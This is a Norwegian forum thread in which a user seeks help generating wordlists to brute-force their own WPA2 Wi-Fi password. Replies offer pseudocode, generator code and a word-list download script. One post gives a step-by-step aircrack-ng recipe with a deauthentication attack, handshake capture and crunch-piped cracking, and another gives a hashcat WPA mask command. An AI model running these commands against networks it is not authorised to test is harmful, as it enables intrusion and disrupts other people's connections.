Du må være registrert og logget inn for å kunne legge ut innlegg på freak.no
X
LOGG INN
... eller du kan registrere deg nå
Dette nettstedet er avhengig av annonseinntekter for å holde driften og videre utvikling igang. Vi liker ikke reklame heller, men alternativene er ikke mange. Vær snill å vurder å slå av annonseblokkering, eller å abonnere på en reklamefri utgave av nettstedet.
  20 10935
Anonym bruker
"Sugen Laks"
Generert avatar for denne anonyme brukeren
ey!

Sitter med et prosjekt i Kali linux og skulle prøve å brute force meg inn på mitt Wifi nettverk med WPA2 sikkerhet.

I denne sammenhengen skulle jeg skaffet meg en liste med alle kombinasjoner mellom store og små bokstaver (unntatt æ, ø og å) og tall (0 til 9).

----------

Etter litt søking og prøving, fant jeg ut at jeg ikke hadde lyst til å bruke nærmere 2 terabyte på en tekstfil med ALLE kombinasjonene på. *ler*

Jeg lurer med dette på om det er noen måte å generere en slik liste på, Uten at den skal ta så sinnssykt mye plass?

Jeg tenker at alle kombinasjoner som har mer enn 2 like symboler på rad, ikke skal bli tatt med i lista! - ergo, den blir betraktelig mye mindre.
Kanskje til og med mulig å lagre på en egen disk.(?)
Har ca 1.5 TB til dette formålet.

Men hvordan kan jeg generere jeg listen jeg tenker på?

Vet det fins programvare for å lage kombinasjons-lister, men fant ikke noen med en ekstra regel som jeg ønsker.

Hjelp?

Er ikke interessert i andre alternative måter å gjøre dette på. Da det er dette som er selve prosjektet.
Anonym bruker
"Sugen Laks"
Generert avatar for denne anonyme brukeren
Trådstarter
Må bare tilføye, at kobinasjonene skal være på 8 tegn.
Hvorfor skal du bruke mye tid og plass på å generere en ordliste for å knekke din egen WPA PSK?

En ordliste på 10000 rader, der PSK'en din er den siste oppføringen vil holde lenge, du trenger ei heller å generere ordlisten kronologisk. Man kan spare mye tid på å bare dumpe random data og dele den opp i rader på 8 tegn. Såvidt jeg forstår så skal du bare beviset konseptet?
Sist endret av 0xFF; 26. mai 2017 kl. 12:34.
Hvis du skal prøve ALLE kombinasjonene trenger du ikke en liste med alle kombinasjonene. Det kan gjøres med en liten kodesnutt.

Har null peiling på hvordan dette skal gjøres i praksis, så det får noen andre hjelpe deg med
Jeg må nesten spørre - hva er prosjektet? Hva får deg til å ønske å løse problemet slik, kuriositet, PoC, hva?
Du *kan* lage deg et array med bokstavene a-z, A-Z og tallene 0-9. Deretter lager du en 8-nøstet for-løkke, med 8 like statements:
for <alle elementer i listen> do:
- elementx = valgt element.
if elementx = elementx-1
continue (eller hvilket nøkkelord språket du bruker vil ha for å gå videre til neste element i lista.

Og i den siste for-løkken:
kode = element1 + element2 +...
loggPåWiFi(kode) (dropp denne hvis du vil lage liste)
if (suksess) (dropp denne også)
Skriv ut kode. -> skriv til fil

Ikke supervakkert, men tar minimalt med plass og kjøretid blir jo uansett styrt av hvor mange ganger du prøver å logge deg på, så overhead er ikke så interessant.

Du kan også legge på ekstra kode for å unngå flere like ol.
Sist endret av doseren; 26. mai 2017 kl. 14:12.
Trigonoceps occipita
vidarlo's Avatar
Donor
https://hashcat.net/hashcat/

Ikkje finn opp hjulet på nytt. Hashcat støtter det du leiter etter, og kan cracke WPA2.
Sist endret av vidarlo; 26. mai 2017 kl. 14:13. Grunn: Automatisk sammenslåing med etterfølgende innlegg.
Sitat av doseren Vis innlegg
Du *kan* lage deg et array med bokstavene a-z, A-Z og tallene 0-9. Deretter lager du en 8-nøstet for-løkke, med 8 like statements:
for <alle elementer i listen> do:
- elementx = valgt element.
if elementx = elementx-1
continue (eller hvilket nøkkelord språket du bruker vil ha for å gå videre til neste element i lista.

Og i den siste for-løkken:
kode = element1 + element2 +...
loggPåWiFi(kode) (dropp denne hvis du vil lage liste)
if (suksess) (dropp denne også)
Skriv ut kode. -> skriv til fil


Ikke supervakkert, men tar minimalt med plass og kjøretid blir jo uansett styrt av hvor mange ganger du prøver å logge deg på, så overhead er ikke så interessant.

Du kan også legge på ekstra kode for å unngå flere like ol.
Vis hele sitatet...
Må være mye enklere da å skrive rekursiv kode...

Kode

char_list = 'ABCDEF ... 890'

keygen(offset, length, last_char, char_array)
{
        for(char_list as current_char)
        {
                if(last_char != 0 && current_char == last_char)
                {
                        return; // Funnet et tilfelle av to like tegn etterhverandre.
                }

                char_array[offset] = current_char // Legge til char'en i riktig posisjon

                if(offset + 1 == length) // Sjekke at arrayen ikke blir lengere enn 8 tegn ('offset' == 7)
                {
                        print(char_array) // Hvis den er i posisjon til 8 tegn, så printe ut
                }
                else
                {
                        keygen(offset + 1, length, current_char, char_array) // Ellers øke 'offset' og kalle på seg selv igjen.
                }
        }

        return
}

char_array = { 0 }

keygen(0, 8, 0, char_array)
(Tar forbehold om feil i logikken, og koden er skrevet i god gammeldags bygde pseudokode med et lite snev av python og C/C++)
Sist endret av 0xFF; 26. mai 2017 kl. 15:00.
Anonym bruker
"Sugen Laks"
Generert avatar for denne anonyme brukeren
Trådstarter
Takk for gode svar greia er å bevise konseptet ja.

Hehe, finne opp hjulet på ny er vell gjerne det jeg driver med ja *ler*

Skal bruke helga++ på dette og mulig jeg lager en 'how to' video med hjemmelaget software, Noe jeg syns er ufattelig spennende
Sitat av Anonym bruker Vis innlegg
Skal bruke helga++ på dette og mulig jeg lager en 'how to' video med hjemmelaget software, Noe jeg syns er ufattelig spennende
Vis hele sitatet...
For all del, om du gjør det for underholdning, så må du ikke la meg stoppe deg. Men om du skal poste suboptimale løsninger med howto, så må du gjøre deg klar for slakt.

Det sagt er jeg uenig med vidarlo - det å finne opp hjulet på nytt er nyttig når det kommer til programmering fordi selv suboptimale løsninger gir erfaring, og forhåpentligvis en større respekt for hvorfor etablerte og anerkjente teknikker er nettop det.
Hvis du skal knekke WPA2 må du nok basere deg på at det kan være mer en 2 like tegn etter hverandre. Har en med 4*q etter hverandre i en liste jeg har.
youtube og søk etter "wpa cracking" "hacing wifi" osv. du finner masse guides så hvorfor lage en ny en har ingen hensikt.
hashcat så trenger du nok ett godt skjermkort, mitt nvidia 1060 klarer ca 215 k/sec på wpa cracking. det er ikke allverden når vi begynner med diverse regler o.l. da tar det noen uker og knaske seg igjennom ordlistene mine.

søk heller etter porno, mere tilfredsstillende.
Sitat av Ejii Vis innlegg
youtube og søk etter "wpa cracking" "hacing wifi" osv. du finner masse guides så hvorfor lage en ny en har ingen hensikt.
Vis hele sitatet...
Hvis du tar deg tiden til å lese spørsmålet hans først, før du stresser med å vise fra de bæd'æss scriptkid søke-skills'an dine; så hadde du fått med deg at han spør om hvordan man generer ordlister. Ikke hvordan man knekker WPA PSK'er, selv om det er det han skal bruke ordlisten til.

Sitat av Ejii Vis innlegg
hashcat så trenger du nok ett godt skjermkort, mitt nvidia 1060 klarer ca 215 k/sec på wpa cracking. det er ikke allverden når vi begynner med diverse regler o.l. da tar det noen uker og knaske seg igjennom ordlistene mine.
Vis hele sitatet...
Jeg skal like å se at CPU'en din gjør en bedre jobb. Igjen totalt unyttig kommentar

Sitat av Ejii Vis innlegg
søk heller etter porno, mere tilfredsstillende.
Vis hele sitatet...
<sarkasme>Endelig et konstruktiv, behjelpelig og informativ svar</sarkasme>
Bruk Crunch til å generere ordlisten "on the fly", jeg prøvde meg på det samme for noen år siden. Her er min guide, du må nokk endre koden litt for å ungå mer en to like bokstaver etter hverandre.

airmon-ng start wlan0
airodump-ng wlan0mon -w name -c 11

NEW TERMINAL:
aireplay-ng --deauth 0 -a [BSSID] wlan0mon
#waith for handshake in airodump window

NEW TERMINAL:
aircrack-ng name-01.cap
#check handshake(s)

WORDLIST CRACK:
aircrack-ng name-01.cap -w sample.list

CRACK ON THE FLY:
crunch 8 8 ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz | aircrack-ng --bssid 22:02:71:5D:26:5F -w- name-01.cap

MAKE CRUNCH RANDOM:
crunch 8 8 ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz -t @@@@@@@@ | perl -ne 'print unless /([A-Z]).*\1/' | aircrack-ng --bssid 22:02:71:5D:26:5F -w- name-01.cap
NOOOOOOOOOOOOOOOOOO-
robhol's Avatar
Sitat av 0xFF Vis innlegg
Må være mye enklere da å skrive rekursiv kode
Vis hele sitatet...
Nope. Stack overflow bør skje relativt fort når man har en del kombinasjoner. Ikke noe vits i å skrive den rekursivt når den kan skrives iterativt.
Sitat av robhol Vis innlegg
Nope. Stack overflow bør skje relativt fort når man har en del kombinasjoner. Ikke noe vits i å skrive den rekursivt når den kan skrives iterativt.
Vis hele sitatet...
Det er greit at pseudo koden min ovenfor ikke er mye å skryte av, men det er f**n ikke stacken din heller hvis den ikke er høy nok til å takle de 9 push'an.

Kode

                [...]

                if(offset + 1 == length) // Sjekke at arrayen ikke blir lengere enn 8 tegn ('offset' == 7)
                {
                        print(char_array) // Hvis den er i posisjon til 8 tegn, så printe ut
                }
                else
                {
                        keygen(offset + 1, length, current_char, char_array) // Ellers øke 'offset' og kalle på seg selv igjen.
                }

                [...]
Som du ser så blir ikke stacken høyere enn 9 frames før den pop'es igjen.
Sist endret av 0xFF; 28. mai 2017 kl. 17:30.
Anonym bruker
"Sugen Laks"
Generert avatar for denne anonyme brukeren
Trådstarter
Takk igjen for gode svar

Jeg slo meg til ro med en "crunch 8 8 ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz | aircrack-ng --bssid <MACADDR> -w- capfile.cap" Denne eleminteringsmetoden som aircrack kjører er ikke så effektiv, men en nokså solid metode.

Ble lite med 'how to' video.. foreløpig. tar sin tid å cracke et passord som "Z1eK54Lm" med den metoden. - MEN, det fungerer sålenge tålmodigheten strekker til! x)

Som OxFF forklarer ville det tatt mye mindre tid og en litt mer aggressiv metode. < Likte stilen, og skal sette meg mer inn i det
Greit å ha litt effektivitet i crackingen!
Bruk heller hashcat som nevnt over. Cracking på GPU gir rundt 400k hashes/s (GTX 1080). Aircrack kjører bare på CPU, og har rundt en hundredel av den farten. Har du tilgang på flere GPUer så skalerer arbeidet så og si lineært.

For å cracke et passord som "Z1eK54Lm" er det bare å ta i bruk custom charset. F.eks.
hashcat.exe -m 2500 -a 3 fil.hccap -1 ?u?l?d ?1?1?1?1?1?1?1?1

Det vil ta sin tid å cracke alle de 218340105584896 kombinasjonene riktignok. Rundt 6318 dager for alle kombinasjonene, så 3159 dager (8 år) i snitt. Derfor lønner det seg sjeldent å cracke slike nettverk, men heller gå for de som er enkle. Folk flest lar enten standardpassordet stå, eller bruker passord som er enkle å huske. Dette kan utnyttes med ordlister og regler, som for øvrig også er støttet av hashcat.
Sist endret av Dyret; 30. mai 2017 kl. 07:28.
Anonym bruker
"Sugen Laks"
Generert avatar for denne anonyme brukeren
Trådstarter
kjører på rundt 1400k/s nå, det kommer nok til å ta sin tid.. Bokstaven Z er langt bak i alfabetet og aircrack-ng er nå på 'aaa*****'.
Vurderer å kjøpe en Wifi pineapple

Du har nok rett i det du sier, Dyret. men fins det da en ordliste med absolutt alle Norske og/eller Engelske ord?
Gidder ikke sitte å taste alle ord fra masse ordbøker til et .txt
Sitat av Anonym bruker Vis innlegg
kjører på rundt 1400k/s nå, det kommer nok til å ta sin tid.. Bokstaven Z er langt bak i alfabetet og aircrack-ng er nå på 'aaa*****'.
Vis hele sitatet...
Jeg må si at jeg forstår ikke hvorfor du gidder dette, når det er snakk om ditt eget nettverk. Som jeg skrev tidligere, siden du ønsker å se hvordan dette fungerer så lag en ordliste på 10K rader, tilføy PSK'en din nederst i ordlisten og start opp Aircrack-ng. Du vil da få 7-10 sekunder spenning, der du venter på at den skal finne PSK'en din; også vil aircrack spytte ut passordet ditt. Her sparer du mange måneder til år med tid, avhengig av hvor lang karakter listen din er.

Sitat av Anonym bruker Vis innlegg
Du har nok rett i det du sier, Dyret. men fins det da en ordliste med absolutt alle Norske og/eller Engelske ord?
Gidder ikke sitte å taste alle ord fra masse ordbøker til et .txt
Vis hele sitatet...
Lanjelin skrev et script for litt over en måned siden, som laster ned ordlisten til Norsk Scrabbleforbund.

Sitat av Lanjelin
Hvis du absolutt vil ha en ordliste, mekket jeg en kodesnutt (Python 2.7) for et stykke tid siden som laster ned og rydder opp i ordlisten til Norsk Scrabbleforbund.
Laster ned, fjerner duplikater og definisjoner, og en sitter igjen med en liste av alle ord, sortert etter lengde, alt i uppercase.
Du får ev. endre på formatering el, men det er hvertfall et sted å starte.

Kode

# -*- coding: utf-8 -*-
import io, zipfile, re, os
from urllib2 import urlopen, URLError, HTTPError, build_opener
zip_file_url = 'http://www2.scrabbleforbundet.no/wp-content/uploads/2012/07/NSF-ordlisten.zip'
zipname = "NSF-ordlisten.zip"
print u'Laster ned ordlisten.'
try:
    o = build_opener()
    o.addheaders = [('User-agent', 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20120101 Firefox/33.0')]
    get = o.open(zip_file_url)
    with open(zipname, "wb") as file:
        file.write(get.read())
    file.close()
    print os.path.basename(file.name) + " lastet ned."
    print u'Pakker ut.'
    z = zipfile.ZipFile(zipname, 'r')
    z.extract(u'NSF-ordlisten.txt', './')
    z.close()
    print u'Rydder opp i ordlisten.'
    inputfile = './NSF-ordlisten.txt'
    outputfile = './NSF-sort-uni.txt'
    regex = re.compile(' [a-z]*.')
    fixedlines = []
    with io.open(inputfile, encoding='utf-8') as the_input, io.open(outputfile, 'w') as the_output:
        lines = [i.strip() for i in the_input]
        for line in lines:
            fixedlines.append(re.sub(regex, '', line))
        fixedlines = sorted(list(set(fixedlines)))
        nolines = len(fixedlines)
        for word in sorted(fixedlines, key=len):
            the_output.write(u'{}\n'.format(word))
    print u'Ferdig! Lagret ordliste av ' + str(nolines) + ' unike ord.'
except HTTPError, e:
    print "HTTP Error: " + str(e.code)
except URLError, e:
    print "URL Error: " + str(e.reason)
>Ferdig! Lagret ordliste av 593531 unike ord.
Vis hele sitatet...
Freak.no - Norsk WPA ordlist (Post nr 3)
NOOOOOOOOOOOOOOOOOO-
robhol's Avatar
Sitat av 0xFF Vis innlegg
Det er greit at pseudo koden min ovenfor ikke er mye å skryte av, men det er f**n ikke stacken din heller hvis den ikke er høy nok til å takle de 9 push'an.

Som du ser så blir ikke stacken høyere enn 9 frames før den pop'es igjen.
Vis hele sitatet...
Slapp av da.

Jeg tenkte på ved større outputlengde, hovedsakelig.

Det er like fullt ingen grunn til å lage en rekursiv løsning. Grunnen er at den introduserer overhead og skalerer dårlig, i tillegg til at det rett og slett blir en mindre oversiktlig løsning.

Her er min "fort-og-gæli"-løsning, men det er sannsynligvis rom for optimalisering her også.

https://gist.github.com/robhol/9801d...31_08-22-44-cs